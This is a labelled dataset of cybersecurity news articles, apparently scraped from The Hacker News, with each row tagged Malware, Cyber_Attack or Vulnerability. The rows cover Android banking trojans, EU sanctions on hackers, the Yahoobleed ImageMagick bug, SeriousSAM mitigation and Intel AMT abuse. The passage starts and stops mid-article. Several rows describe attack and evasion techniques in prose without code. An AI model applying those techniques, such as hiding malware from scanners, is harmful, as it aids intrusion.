Accounts log (Email)
App Activity (Name, PackageName, Process Number of activity, Processed id)
App Data Usage (Cache size, code size, data size, name, package name)
App Install (installed at, name, package name, unknown sources enabled, version code, version name)
Battery (health, level, plugged, present, scale, status, technology, temperature, voltage)
Device Info (board, brand, build version, cell number, device, device type, display, fingerprint, ip, mac address, manufacturer, model, os platform, product, sdk code, total disk space, unknown sources enabled)
GPS (accuracy, altitude, latitude, longitude, provider, speed)
MMS (from number, mms at, mmss type, service number, to number)
NetData (bytes received, bytes sent, connection type, interface type)
PhoneCall (call duration, called at, from number, phone call type, to number)
SMS (from number, service number, sms at, sms type, to number)
TelephonyInfo (cell tower id, cell tower latitude, cell tower longitude, imei, iso country code, local area code, meid, mobile country code, mobile network code, network name, network type, phone type, sim serial number, sim state, subscriber id)
WifiConnection (bssid, ip, linkspeed, macaddr, networkid, rssi, ssid)
WifiNeighbors (bssid, capabilities, frequency, level, ssid)
Root Check (root staus code, root status reason code, root version, sig file version)
Malware Info (algorithm confidence, app list, found malware, malware sdk version, package list, reason code, service list, sigfile version)
""Why the hell would they need this? I know I keep asking questions, but here's some answers: Uber checks to see if your device is rooted. It doesn't tell you of course, it just wants to know so it can phone home and tell them about it. I also saw checks for malware, application activity and a bunch of other stuff,"" the publication adds.
The ride-driving company might have some legitimate reason to make use of most of this collected information in the app, perhaps for fraud detection or an intelligence-gathering tool. But, the problem is that the information is being sent and collected by Uber's servers without any knowledge or permission of the app user. Neither the extent of the data the Uber app collects seems to go beyond the data set shown on its permissions screen.
Uber responded to the issue and said in a statement to Cult of Mac, ""Access to permissions including Wifi networks and camera are included so that users can experience full functionality of the Uber app. This is not unique to Uber, and downloading the Uber app is of course optional.""

",Malware
Experts warn of a new Android banking trojan stealing users' credentials,https://thehackernews.com/2021/05/experts-warn-of-new-android-banking.html,"Cybersecurity researchers on Monday disclosed a new Android trojan that hijacks users' credentials and SMS messages to facilitate fraudulent activities against banks in Spain, Germany, Italy, Belgium, and the Netherlands.
Called ""TeaBot"" (or Anatsa), the malware is said to be in its early stages of development, with malicious attacks targeting financial apps commencing in late March 2021, followed by a rash of infections in the first week of May against Belgium and Netherlands banks. The first signs of TeaBot activity emerged in January.
""The main goal of TeaBot is stealing victim's credentials and SMS messages for enabling frauds scenarios against a predefined list of banks,"" Italian cybersecurity and online fraud prevention firm Cleafy said in a Monday write-up. ""Once TeaBot is successfully installed in the victim's device, attackers can obtain a live streaming of the device screen (on demand) and also interact with it via Accessibility Services.""
The rogue Android application, which masquerades as media and package delivery services like TeaTV, VLC Media Player, DHL, and UPS, acts as a dropper that not only loads a second-stage payload but also forces the victim into granting it accessibility service permissions.
In the last link of the attack chain, TeaBot exploits the access to achieve real-time interaction with the compromised device, enabling the adversary to record keystrokes, in addition to taking screenshots and injecting malicious overlays on top of login screens of banking apps to steal credentials and credit card information.
Other capabilities of TeaBot include disabling Google Play Protect, intercepting SMS messages, and accessing Google Authenticator 2FA codes. The collected information is then exfiltrated every 10 seconds to a remote server controlled by the attacker.
Android malware abusing accessibility services as a stepping stone for perpetrating data theft has witnessed a surge in recent months. Since the start of the year, at least three different malware families — Oscorp, BRATA, and FluBot — have banked on the feature to gain total control of the infected devices.
Interestingly, the fact that TeaBot employs the same decoy as that of Flubot by posing as innocuous shipment apps could be an attempt to mislead attribution and stay under the radar. The heightened FluBot infections prompted Germany and the U.K. to issue alerts last month warning of ongoing attacks via fraudulent SMS messages that trick users into installing ""spyware that steals passwords and other sensitive data.""

",Malware
"EU sanctions hackers from China, Russia, North Korea who're wanted by the FBI",https://thehackernews.com/2020/07/sanctions-against-wanted-hackers.html,"The Council of the European Union has imposed its first-ever sanctions against persons or entities involved in various cyber-attacks targeting European citizens, and its member states.

The directive has been issued against six individuals and three entities responsible for or involved in various cyber-attacks, out of which some publicly known are 'WannaCry', 'NotPetya', and 'Operation Cloud Hopper,' as well as an attempted cyber-attack against the organization for the prohibition of chemical weapons.

Out of the six individuals sanctioned by the EU include two Chinese citizens and four Russian nationals. The companies involved in carrying out cyberattacks include an export firm based in North Korea, and technology companies from China and Russia.

The sanctions imposed include a ban on persons traveling to any EU countries and a freeze of assets on persons and entities.

Besides this, EU citizens and entities are also forbidden from doing any business or engaging in transactions with those on the sanction list.

According to the European Council, the detailed of these persons or entities are:

Two Chinese Individuals—Gao Qiang and Zhang Shilong—and a technology firm, named Tianjin Huaying Haitai Science and Technology Development Co. Ltd, for the Operation Cloud Hopper.

The US government has also charged Shilong in 2018 for targeting over 45 companies and government agencies and stealing hundreds of gigabytes of sensitive data from its targets, but the suspect is still at large.

Operation Cloud Hopper was a series of cyber-attacks targeting information systems of multinational companies in six continents, including those located in the EU, and gaining unauthorized access to commercially sensitive data, resulting in economic loss.


Four Russian nationals (also wanted by the FBI) — Alexey Valeryevich, Aleksei Sergeyvich, Evgenii Mikhaylovich, and Oleg Mikhaylovich—for attempting to target the Organisation for the Prohibition of Chemical Weapons (OPCW), in the Netherlands.
A Russian technology firm (exposed by the NSA) — Main Centre for Special Technologies (GTsST) of the Main Directorate of the General Staff of the Armed Forces of the Russian Federation—for the NotPetya ransomware attack in 2017 and the cyber-attacks directed at a Ukrainian power grid in the winter of 2015 and 2016.
A North Korean export firm — Chosun Expo, for the WannaCry ransomware attack that made havoc by disrupting information systems worldwide in 2017 and linked to the well-known Lazarus group.

According to the European Union, the two Chinese nationals who carried out Operation Cloud Hopper are members of the APT10 threat actor group, also known as 'Red Apollo,' 'Stone Panda,' 'MenuPass' and 'Potassium.'

On the other hand, the four Russian nationals were agents of the Russian intelligence agency GRU who once aimed to hack into the Wi-Fi network of the OPCW, which, if successful, would have allowed them to compromise the OPCW's ongoing investigatory work.

""Sanctions are one of the options available in the EU's cyber diplomacy toolbox to prevent, deter and respond to malicious cyber activities directed against the EU or its member states, and today is the first time the EU has used this tool,"" the Council said.

Last year, the United States also sanctioned the Lazarus group, also known as Hidden Cobra and Guardians of Peace, which has also been associated with several high-profile cyberattacks, including Sony Pictures hack in 2014 and Bangladesh Bank heist in 2016.
",Cyber_Attack
Malware making bomb and death threats detected,https://thehackernews.com/2012/10/malware-making-bomb-and-death-threats.html,"Japanese police had arrested three people, accused them of making death threats via email and discussion forums. However, later Researchers at Symantec have determined that a piece of malware was making death and bomb threats online on behalf of its victims infected.

Symantec confirmed that the malware ""Backdoor.Rabasheeta"" is capable of controlling a compromised computer from a remote location and the creator has the capability to command the malware to make the threats like bomb and murders. The most curious thing about this particular dropper is that it comes with a graphical user interface (GUI).

The dropper for Backdoor.Rabasheeta drops a main module and a configuration file. The dropper creates a registry entry so that the main module is executed whenever the compromised computer starts. This dropper also modifies CreationTime, LastWriteTime, and LastAccessTime of the main module with random values to help keep it hidden. Then the dropper will execute the main module before removing itself from the computer.
Because some string of characters used to process encrypted communication with the creator is in Japanese, Symantec believe the creator is most likely a person who has a good understanding of the Japanese language.

Symantec has also acquired a third variant of this threat. The version number of this variant is 2.0. It is practically identical to version 2.23 and there are no noticeable differences between the two.

Police are currently investigating the connection between the threats and the malware. The structure and functions of Backdoor.Rabasheeta are not advanced compared to modern malware. However, it is still capable of surreptitiously opening a back door on a compromised computer. To protect against this type of threat, users should use caution when downloading software from unknown sources. Do not click on suspicious links or attachments in emails.

",Malware
Russian Hacker Behind NeverQuest Banking Malware Gets 4 Years in U.S. Prison,https://thehackernews.com/2019/11/lisov-neverquest-russian-hacker.html,"A Russian hacker who created and used Neverquest banking malware to steal money from victims' bank accounts has finally been sentenced to 4 years in prison by the United States District Court for the Southern District of New York.

Stanislav Vitaliyevich Lisov, 34, was arrested by Spanish authorities at Barcelona–El Prat Airport in January 2017 on the request of the FBI and extradited to the United States in 2018.

Earlier this year, Lisov pleaded guilty to one count of conspiracy to commit computer hacking, involving attempts to steal at least $4.4 million from hundreds of victims using the NeverQuest banking trojan.

Just like any other sophisticated banking Trojan, NeverQuest, aka Vawtrak or Snifula, has also been designed to let attackers remotely control infected computers and steal a wide range of sensitive information.

Besides stealing login information for banking or other financial accounts using a keylogger or web form injection techniques, the malware was also capable of stealing passwords stored in FTP clients, private keys, or stored within remote-desktop settings.

NeverQuest became so popular among financially motivated hackers and scammers that the banking trojan was ranked the number two global financial malware in 2015 and the number one in 2016.

NeverQuest Caused An Estimated Damage of $4.4 Million

According to a press release published by the U.S. Department of Justice, Lisov and his co-conspirators distributed NeverQuest banking trojan worldwide between June 2012 and January 2015 through social media, phishing emails, and file transfer services; and used exploit kits or drive-by downloads as initial infection vectors.

The duo then used the stolen login information to steal money from victims' bank accounts using various means, including wire transfers, ATM withdrawals, and online purchases of expensive items.

""In total, Lisov and his co-conspirators attempted to steal at least approximately $4.4 million using NeverQuest, and in fact, stole at least approximately $855,000 from their victims' online financial accounts,"" the court document says.

Besides creating and deploying NeverQuest for his own personal enrichment, Lisov was also responsible for maintaining and renting out botnet servers that contained a list of nearly 1.7 million stolen login credentials—including usernames, passwords, and security questions and answers.

The conspiracy to commit computer hacking charge carries a maximum sentence of five years in prison under the terms of a plea deal Lisov struck with the Justice Department in February this year when he pleaded guilty.

Today, the United States Attorney Geoffrey S. Berman sentenced Lisov to 48 months in prison.

In addition to his prison term, Lisov has also been sentenced to 3 years of supervised release and ordered to pay a forfeiture of $50,000 and restitution of $481,388.04.

",Cyber_Attack
Android.Bmaster Exploits root access to connect to Botnet,https://thehackernews.com/2012/02/androidbmaster-exploits-root-access-to.html,"Android.Bmaster Exploits root access to connect to Botnet

A new piece of Android malware named Android.Bmaster, first highlighted by researcher Xuxian Jiang at North Carolina State University, was uncovered on a third-party marketplace and is bundled with a legitimate application for configuring phone settings, Symantec researcher Cathal Mullaney wrote in a blog.

This Malware is estimated to affect between 10,000 and 30,000 phones on any given day. The malware, mostly found on Chinese phones, works by using GingerBreak, a tool that gives users root access to Android 2.3 Gingerbread. RootSmart is designed to escape detection by being named ""com.google.android.smart,"" which the same name as a settings app included by default with Android operating systems.

Mullaney explained that once the malware is installed on the Android phone, an outbound connection from the infected phone to a remote server is generated.""The malware posts some user and phone-specific data to the remote address and attempts to download and run an APK file from the server. The downloaded file is the second stage in the malware and is a Remote Administration Tool (RAT) for Android, detected as Android.Bmaster. This type of malware is used to remotely control a device by issuing commands from a remote server"".

To counter the rising tide of threats, Google last week announced it had launched an app prescreening tool called Bouncer that runs a server-based simulation to check apps for malicious behavior such as attempts to access or send personal data, or simply send out pricey text messages. Google blocks them before they get into the official Android Market.Bouncer has been used quietly for several months; in the second half of 2011, the Android market saw a 40 percent decrease in malware apps identified as potentially malicious, compared to the first half of the year.

Google spokesperson Nancarrow points out that Rootsmart wasn't found in the official Android Market and so falls outside the zone of protection that Google is trying to enforce with its new malware scanner. And the fact that Gingerbreak was already patched, he adds, points to Android's ""defense in depth approach, not a reliance on any specific user protection measure.""

Get one Best Security Product for your Android from above list, If you really love your Phone, Read Here.

",Malware
Hacker sold personal data of 4 million US citizens online; risk of potential Identity Theft,https://thehackernews.com/2013/09/hacker-sold-personal-data-of-4-million.html,"An illegal service that sells personal data of US citizens online, which can then be used for identity theft hacked into the networks of three major data brokers and Hacker stole their databases.

Cyber attack has given them access to Social Security Numbers, dates of birth, and other personal details that could put all our finances at risk.

Krebs's blog revealed that the service, known as SSNDOB (ssndob.ms) (Social Security Number Date of Birth) used malware to obtain secret access to the databases of LexisNexis, Dun & Bradstreet and Kroll Background America.
Hackers are charging from 50 cents to $2.50 per record and from $5 to $15 for credit and background checks. It was discovered in March that another website, exposed.su was using data collected by SSNDOB to sell to its customers.

Through the use of a botnet Malware, ID thieves the ID thieves gained access to the networks of LexisNexis, that it provides coverage of more than 500 million unique consumer identities.

""The botnet's online dashboard for the LexisNexis systems shows that a tiny unauthorized program called ""nbc.exe"" was placed on the servers as far back as April 10, 2013, suggesting the intruders have had access to the company's internal networks for at least the past five months,"" Krebs' report.

""The program was designed to open an encrypted channel of communications from within LexisNexis's internal systems to the botnet controller on the public Internet.""

SSNDOB itself was compromised by multiple attacks earlier this year, and website's records show that 1,300 customers have spent hundreds of thousands of dollars looking up SSNs, birthdays, drivers license records, and obtaining unauthorized credit and background reports on more than four million Americans.
Hacker sold personal data of 4 million US citizens online; risk of potential Identity Theft https://t.co/6nwEEe8Pkn #Security
— Wang Wei (王偉) (@security_wang) September 27, 2013
The service's main website at ssndob.ms has been taken offline, but similar services can be found at ssndob.cc and ssndob.biz.

Dun&Bradstreet and Altegrity have said they are investigating the claims. LexisNexis said that it has found no evidence of data theft.

",Malware
18-Byte ImageMagick Hack Could Have Leaked Images From Yahoo Mail Server,https://thehackernews.com/2017/05/yahoo-imagemagick-hack.html,"After the discovery of a critical vulnerability that could have allowed hackers to view private Yahoo Mail images, Yahoo retired the image-processing library ImageMagick.

ImageMagick is an open-source image processing library that lets users resize, scale, crop, watermarking and tweak images. The tool is supported by PHP, Python, Ruby, Perl, C++, and many other programming languages.

This popular image-processing library made headline last year with the discovery of the then-zero-day vulnerability, dubbed ImageTragick, which allowed hackers to execute malicious code on a Web server by uploading a maliciously-crafted image.

Now, just last week, security researcher Chris Evans demonstrated an 18-byte exploit to the public that could be used to cause Yahoo servers to leak other users' private Yahoo! Mail image attachments.

'Yahoobleed' Bug Leaks Images From Server Memory
The exploit abuses a security vulnerability in the ImageMagick library, which Evans dubbed ""Yahoobleed #1"" (YB1) because the flaw caused the service to bleed contents stored in server memory.

The vulnerability actually exists in the obscure RLE (Utah Raster Toolkit Run Length Encoded) image format.

To exploit the vulnerability, all an attacker need to do is create a maliciously crafted RLE image, and send it to the victim's email address, and then create a loop of empty RLE protocol commands, prompting the leakage of information.

To show how it is possible to compromise a Yahoo email account, Evans, as a proof-of-concept (PoC) demonstration, created a malicious image containing 18-byte exploit code and emailed it as an email attachment to himself.

Once the attachment reached the Yahoo's email servers, ImageMagick processed the image to generate thumbnails and previews, but due to the execution of Evans' exploit code, the library generated a corrupt image preview for the image attachment.

Once this image attachment is clicked, it launched the image preview pane, causing the service to display portions of images that were still present in the server's memory, instead of the original image.
""The resulting JPEG image served to my browser is based on uninitialized, or previously freed, memory content,"" Evans said.
Unlike Heartbleed and Cloudbleed that were due to out-of-bounds server side memory content leaks, Evans said Yahoobleed makes use of uninitialized or previously freed, memory content.
""The previous bleed vulnerabilities have typically been out-of-bounds reads, but this one is the use of uninitialized memory,"" Evans said. ""An uninitialized image decode buffer is used as the basis for an image rendered back to the client.""
""This leaks server-side memory. This type of vulnerability is fairly stealthy compared to an out-of-bounds read because the server will never crash. However, the leaked secrets will be limited to those present in freed heap chunks.""

Yahoo Retires 'Buggy' ImageMagick Library

After Evans had submitted his 18-byte exploit code to Yahoo, the company decided to retire the ImageMagick library altogether, rather than fixing the issue.

Evans also warned of another version of Yahoobleed, dubbed Yahoobleed2, which was the due to Yahoo's failure to install a critical patch released in January 2015. He said the flaws combined could allow attackers to obtain browser cookies, authentication tokens, and private images belonging to Yahoo Mail users.

Evans was awarded a bug bounty payment of $14,000 -- $778 per byte for his exploit code -- by the tech giant, who decided to double the bounty to $28,000 after knowing Evans intention to donated his reward to a charity.

After Yahoo has been aware of the issue, Evans reported the vulnerability to the ImageMagick team, who released ImageMagick version 7.0.5-1 two months ago with a fix for the issue.

So, Other widely used Web services using the ImageMagick library are likely still vulnerable to the bug and are advised to apply the patches as soon as possible.

",Vulnerability
Book Review : Defense against the Black Arts,https://thehackernews.com/2012/01/book-review-defense-against-black-arts.html,"Book Review : Defense against the Black Arts
How Hackers Do What They Do and How to Protect against It

Ben Rothke write a review of a new book on hacking ""Defense against the Black Arts: How Hackers Do What They Do and How to Protect against It"". Authors are Jesse Varsalone, Matthew Mcfadden, Michael Schearer and Sean Morrissey.

""If there ever was a book that should not be judged by its title, Defense against the Black Arts: How Hackers Do What They Do and How to Protect against It, is that book. Even if one uses the definition in The New Hackers Dictionary of 'a collection of arcane, unpublished, and (by implication) mostly ad-hoc techniques developed for a particular application or systems area', that really does not describe this book. The truth is that hacking is none of the above. If anything, it is a process that is far from mysterious, but rather aether to describe. With that, the book does a good job of providing the reader with the information needed to run a large set of hacking tools."" Ben's review.

Defense against the Black Arts is another in the line of hacking overview books that started with the first edition of Hacking Exposed. Like Hacking Exposed, the book walks the reader through the process of how to use hacking tools and how to make sense of their output.

Defense against the Black Arts is written for the reader with a good technical background who is looking for a nuts and bolts approach to ethical hacking. Its 14 chapters provide a comprehensive overview of the topic, with an emphasis on Windows.

But for those looking for an introductory text, this is not the best choice out there. The book is written for the reader that needs little hand-holding. This is in part due to its somewhat rough around the edges text and the use of more advanced hacking tools and techniques.

By page 4, the author has the reader downloading BackTrack Linux. BackTrack is a Ubuntu distro which has a focus on digital forensics and penetration testing. BackTrack is currently in a 5 R1 release, based on Ubuntu 10.04 LTS and Linux kernel 2.6.39.4. BackTrack comes with a significant amount of security and hacking tools preloaded, which the authors reference throughout the book.

After showing how to install BackTrack, chapter 1 shows how to log into Windows without knowing the password. Much of that is around the Kon-Boot tool, which allows you to change the contents of the Windows kernel in order to bypass the administrator password. Tools like Kon-Boot though will only work when you have physical access to the machine.

Chapter 3 gets into the details of digital forensics and highlights a number of popular tools for forensic imaging. While the book provides a good overview of the topic, those looking for the definitive text on the topic should read Digital Evidence and Computer Crime: Forensic Science, Computers and the Internet.

Chapter 5 deals with web application penetration testing. The authors describe a number of tools that can be used to assess the security of web sites, and offer ways to attempts to manipulate data from a web page or web application.

One is likely hard pressed to find a large web site that will be vulnerable to such web attacks, given that most of them have already checked for those errors via validation control testing. Smaller vendors may not be so proactive, and find out that those $99- items are being sold for .99 cents. With that, the chapter details a number of tools developers can use to test for SQL injection, XSS and other types of web vulnerabilities.

Chapter 8 is about capturing network traffic. There are two perspective to collecting traffic. For the attacker, it is about identifying holes and avenues for attack. For those trying to secure a network, collecting network traffic is an exercise in identifying, thwarting and defending the network against attacks.

Chapter 10 provides a brief overview of Metasploit. For those looking for a comprehensive overview of Metasploit, Metasploit: The Penetration Testers Guide is an excellent resource. This chapter like many of the others provides the reader with detailed step-by-step instructions, including screen prints, on how to use the specific tool at hand.

Chapter 11 provides a long list of attack and defense tools that can be used as a larger part of a penetration tester's toolkit.

Chapter 12 is interesting is that it details how social engineering can be used. The authors show how public domain tools like Google Maps can be used in to mount an attack.

Chapter 13 – Hack the Macs– is one of the shorter chapters in the book and should really be longer. One of the reasons pen testers are increasingly using Macs is that the newer Macs run on the Intel platform, and can run and emulate Windows and Linux. The increasing number of tools for the Mac, and significant Mac vulnerabilities, mean that the Mac will increasingly be used and abused in the future.

Just last week, Dr. Mich Kabay wrote in Macintosh Malware Erupts that malware specifically designed for Mac is on the rise. This is based on progressively more and more serious malware for the Mac since 2009 where given that Apple products have been increasing their market share for laptops and workstations but especially for tablets and phones.

The article notes that one of the reasons Mac OS X is perceived as superior to Windows is because of its appearance of having integrated security. But although the design may be sound, the operating system does not prevent people from being swayed into thinking that the malicious software they are downloading is safe. With that, Apple will have to concentrate more on security and vulnerability within their operating system.

The book ends with about 30 pages on wireless hacking. The chapter provides an overview of some of the weaknesses in Wi-Fi technology and how they can be exploited. The chapter focuses on the airmon tool, part of BackTrack that you can use to set your wireless adapter into monitor mode, to see all of the traffic traversing the wireless network.

Overall, Defense against the Black Arts: How Hackers Do What They Do and How to Protect against It is a really good reference for someone experienced in the topic who wants to improve their expertise.

You can purchase Defense against the Black Arts: How Hackers Do What They Do and How to Protect against It from amazon.com

[Submitted by Jesse Varsalone | Cross Post from Slashdot]

",Malware
A Google Drive 'Feature' Could Let Attackers Trick You Into Installing Malware,https://thehackernews.com/2020/08/google-drive-file-versions.html,"An unpatched security weakness in Google Drive could be exploited by malware attackers to distribute malicious files disguised as legitimate documents or images, enabling bad actors to perform spear-phishing attacks comparatively with a high success rate.

The latest security issue—of which Google is aware but, unfortunately, left unpatched—resides in the ""manage versions"" functionality offered by Google Drive that allows users to upload and manage different versions of a file, as well as in the way its interface provides a new version of the files to the users.

Logically, the manage versions functionally should allow Google Drive users to update an older version of a file with a new version having the same file extension, but it turns out that it's not the case.

According to A. Nikoci, a system administrator by profession who reported the flaw to Google and later disclosed it to The Hacker News, the affected functionally allows users to upload a new version with any file extension for any existing file on the cloud storage, even with a malicious executable.

As shown in the demo videos—which Nikoci shared exclusively with The Hacker News—in doing so, a legitimate version of the file that's already been shared among a group of users can be replaced by a malicious file, which when previewed online doesn't indicate newly made changes or raise any alarm, but when downloaded can be employed to infect targeted systems.

""Google lets you change the file version without checking if it's the same type,"" Nikoci said. ""They did not even force the same extension.""

Needless to say, the issue leaves the door open for highly effective spear-phishing campaigns that take advantage of the widespread prevalence of cloud services such as Google Drive to distribute malware.




The development comes as Google recently fixed a security flaw in Gmail that could have allowed a threat actor to send spoofed emails mimicking any Gmail or G Suite customer, even when strict DMARC/SPF security policies are enabled.

Malware Hackers Love Google Drive

Spear-phishing scams typically attempt to trick recipients into opening malicious attachments or clicking seemingly innocuous links, thereby providing confidential information, like account credentials, to the attacker in the process.

The links and attachments can also be used to get the recipient to unknowingly download malware that can give the attacker access to the user's computer system and other sensitive information.

This new security issue is no different. Google Drive's file update feature is meant to be an easy way to update shared files, including the ability to replace the document with a completely new version from the system. This way, the shared file can be updated without changing its link.

However, without any validation for file extensions, this can have potentially serious consequences when users of the shared file, who, upon notification of the change via an email, end up downloading the document and unwittingly infecting their systems with malware.

Such a scenario could be leveraged to mount whaling attacks, a phishing tactic often used by cyber-criminal gangs to masquerade as senior management personnel in an organization and target specific individuals, hoping to steal sensitive information or gain access to their computer systems for criminal purposes.

Even worse, Google Chrome appears to implicitly trust the files downloaded from Google Drive even when they are detected by other antivirus software as malicious.

Cloud Services Become An Attack Vector

Although there's no evidence that this flaw has been exploited in the wild, it wouldn't be difficult for attackers to repurpose it for their benefit given how cloud services have been a vehicle for malware delivery in several spear-phishing attacks in recent months.

Earlier this year, Zscaler identified a phishing campaign that employed Google Drive to download a password stealer post initial compromise.

Last month, Check Point Research and Cofense highlighted a series of new campaigns wherein threat actors were found not only using spam emails to embed malware hosted on services like Dropbox and Google Drive but also exploiting cloud storage services to host phishing pages.

ESET, in an analysis of the Evilnum APT group, observed a similar trend where fintech companies in Europe and the UK have been targeted with spear-phishing emails that contain a link to a ZIP file hosted on Google Drive to steal software licenses, customer credit card information, and investments and trading documents.

Likewise, Fortinet, in a campaign spotted earlier this month, uncovered evidence of a COVID-19-themed phishing lure that purportedly warned users of delayed payments due to the pandemic, only to download the NetWire remote access Trojan hosted on a Google Drive URL.

With scammers and criminals pulling out all the stops to conceal their malicious intentions, it's essential that users keep a close eye on suspicious emails, including Google Drive notifications, to mitigate any possible risk.

",Cyber_Attack
First ever Malware for Firefox Mobile OS developed by Researcher,https://thehackernews.com/2013/10/exclusive-security-researcher-developed.html,"Firefox OS is a mobile operating system based on Linux and Mozilla's Gecko technology, whose environment is dedicated to apps created with just HTML, CSS, and JavaScript.

After almost two years of development, a few months back Mozilla officially launched their Firefox OS devices in stores and now the first Malware for the brand new platform is available.

Shantanu Gawde, 17-years-old, an Independent Security Researcher is going to demonstrate the very first known malware for Firefox OS at the upcoming Information Security Summit - The Ground Zero (G0S) 2013, to be held on November 7th - 10th, 2013 at The Ashok, New Delhi.

Firefox OS is different - Every app in Firefox OS including the Camera and the Dialer is a web app, i.e. a website in the form of an app. Simple! Mozilla has developed Web APIs so that HTML5 apps can communicate with the device's hardware and Shantanu has used the same APIs intentionally to exploit the device for malicious purpose.

Basically, there are two types of Firefox OS apps: packaged and hosted. Packed apps are essentially a zip file containing all of of an apps assets: HTML, CSS, JavaScript, images, manifest, etc.

Hosted apps are just a website is the application, means you can host the app on a publicly accessible Web server, just like any other website.

His demonstration will showcase the malware app developed by him using just HTML, CSS, and JavaScript, and capability to perform many malicious tasks remotely on the device i.e. Accessing SD Card Data, Stealing Contacts, downloading-uploading Files on device, Tracking Geological location of the user etc.

""The purpose of the PoC is of course to motivate developers to ensure better security on their platforms rather than providing inspiration to those with malicious intents."" he told 'The Hacker News'.
The rapid growth and evolution of mobile malware is swiftly becoming a highly profitable business for cybercriminals. According to the third annual Mobile Threats Report from Juniper Networks, mobile malware threats have grown a huge 614% in the period March 2012 to March 2013.

With mobile malware on the rise and attackers becoming increasingly clever and they are also targeting every possible new platform. Make sure you will be at Ground Zero this year to see live threat to one of the prominent upcoming mobile operating systems.

Update : A Mozilla spokesperson provided the following statement: ""We are aware of plans to demonstrate a malware app able to perform malicious tasks on the Firefox OS phone. Such attacks usually rely on developer mode functionality, which is common to most Smartphones but disabled by default. In addition, we believe this demonstration requires the phone to be physically connected to a computer controlled by the attacker, and unlocked by the user.""

",Malware
"How to Mitigate Microsoft Windows 10, 11 SeriousSAM Vulnerability",https://thehackernews.com/2021/07/how-to-mitigate-microsoft-windows-10-11.html,"Microsoft Windows 10 and Windows 11 users are at risk of a new unpatched vulnerability that was recently disclosed publicly.
As we reported last week, the vulnerability — SeriousSAM — allows attackers with low-level permissions to access Windows system files to perform a Pass-the-Hash (and potentially Silver Ticket) attack.
Attackers can exploit this vulnerability to obtain hashed passwords stored in the Security Account Manager (SAM) and Registry, and ultimately run arbitrary code with SYSTEM privileges.
SeriousSAM vulnerability, tracked as CVE-2021-36934, exists in the default configuration of Windows 10 and Windows 11, specifically due to a setting that allows 'read' permissions to the built-in user's group that contains all local users.
As a result, built-in local users have access to read the SAM files and the Registry, where they can also view the hashes. Once the attacker has 'User' access, they can use a tool such as Mimikatz to gain access to the Registry or SAM, steal the hashes and convert them to passwords. Invading Domain users that way will give attackers elevated privileges on the network.
Because there is no official patch available yet from Microsoft, the best way to protect your environment from SeriousSAM vulnerability is to implement hardening measures.
Mitigating SeriousSAM
According to Dvir Goren, CTO at CalCom, there are three optional hardening measures:
Delete all users from the built-in users' group — this is a good place to start from, but won't protect you if Administrator credentials are stolen.
Restrict SAM files and Registry permissions — allow access only for Administrators. This will, again, only solve part of the problem, as if an attacker steals Admin credentials, you will still be vulnerable to this vulnerability.
Don't allow the storage of passwords and credentials for network authentication — this rule is also recommended in the CIS benchmarks. By implementing this rule, there will be no hash stored in the SAM or registry, thereby mitigating this vulnerability completely.
When using GPOs for implementation, make sure the following UI Path is Enabled:
Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Security Options\Network access: Do not allow storage of passwords and credentials for network authentication
Despite the fact that the last recommendation offers a good solution for SeriousSAM, it may negatively impact your production if not properly tested before it is pushed. When this setting is enabled, applications that use scheduled tasks and need to store users' hashes locally will fail.
Mitigating SeriousSAM without risking causing damage to production
The following are Dvir's recommendations for mitigating without causing downtime:
Set up a test environment that will simulate your production environment. Simulate all possible dependencies of your network as accurately as you can.
Analyze the impact of this rule on your test environment. In this way, if you have applications that rely on hashes that are stored locally, you'll know in advance and prevent production downtime.
Push the policy where possible. Make sure new machines are also hardened and that the configuration doesn't drift over time.
These three tasks are complex and require a lot of resources and in-house expertise. Therefore, Dvir's final recommendation is to automate the entire hardening process to save the need to perform stages 1, 2 and 3.
Here is what you will gain from a Hardening Automation Tool:
Automatically generate the most accurate possible impact analysis report – hardening automation tools 'learns' your production dependencies and report to you the potential impact of each policy rule.
Automatically enforce your policy on your entire production from a single point of control – using these tools, you won't need to do manual work, such as using GPOs. You can control and be certain all your machines are hardened.
Maintain your compliance posture and monitor your machines in real-time – hardening automation tools will monitor your compliance posture, alert and remediate any unauthorized changes in configurations, therefore preventing configuration drifts.
Hardening automation tools will learn the dependencies directly from your network and automatically generate an accurate impact analysis report. A hardening automation tool will also help you orchestrate the implementation and monitoring process.

",Vulnerability
Apple's own Encryption Mechanism allows hacker to create an Undetectable Mac OS X Malware,https://thehackernews.com/2013/10/apples-own-encryption-mechanism-allows.html,"In the past, there was a general belief that Macs is much more secure than Windows PCs, but now Mac malware is a serious threat to the security of users' computers and information.

One of the reasons behind the increase in Mac related Malware attacks is the fact that Apple products are popular with many prominent businessmen and influential politicians.
Daniel Pistelli, Reverse Engineer and lead developer of Cerbero Profiler, former developer of IDA Pro comes up with another interesting research, and explained The Hacker News, the basic details behind the technique he used to create an undetectable malware for Mac OS X.

Apple implements internally an encryption mechanism to protect some of their own executable like ""Dock.app"" or ""Finder.app"". This encryption can be applied to malware as well. If one does, anti-malware solutions can no longer detect the malware because of the encryption, but OS X has no problem loading such malware.

This same protection mechanism can be used on existing malwares that are already detected by Anti-malware products, to make them completely undetectable. Those same anti-malware products can no longer detect the malware because they don't understand it's encrypted.
Currently, it's true that there are fewer malware programs that are targeting Mac OS X versus Windows. However, that doesn't mean that Macs are totally secure.
To mitigate this problem Daniel suggests Anti-Malware product makers to either support the actual decryption , alternatively, to trust encrypted executables only when signed by Apple. Read complete technical details about the method on Daniel's Blog.

The events of recent years have led many users to question just how secure Mac really is.

",Malware
First-Ever Data Stealing Malware Found Using Intel AMT Tool to Bypass Firewall,https://thehackernews.com/2017/06/intel-amt-firewall-bypass.html,"It's not hard for a well-funded state-sponsored hacking group to break into corporate networks and compromise systems with malware, but what's challenging for them is to keep that backdoor and its communication undetectable from a firewall and other network monitoring applications.

However, a cyber-espionage group known as ""Platinum,"" that is actively targeting governmental organisations, defense institutes, and telecommunication providers since at least 2009, has found a way to hide its malicious activities from host-based protection mechanisms.

Microsoft has recently discovered that the cyber-espionage group is now leveraging Intel's Active Management Technology (AMT) Serial-over-LAN (SOL) channel as a file-transfer tool to steal data from the targeted computers without detection.

Intel-based chip sets come with an embedded technology, called AMT, which is designed to allow IT administrators to remotely manage and repair PCs, workstations, and servers of their organisations.

The Intel AMT technology operates independently of the operating system and works even when the system is turned off, as long as the platform is connected to a line power and a network cable.

That means, when AMT is enabled, any packet sent to the PC's wired network port will be redirected to the Management Engine and passed on to AMT – the operating system, as well as network monitoring applications installed on a system, never knows what's going around.

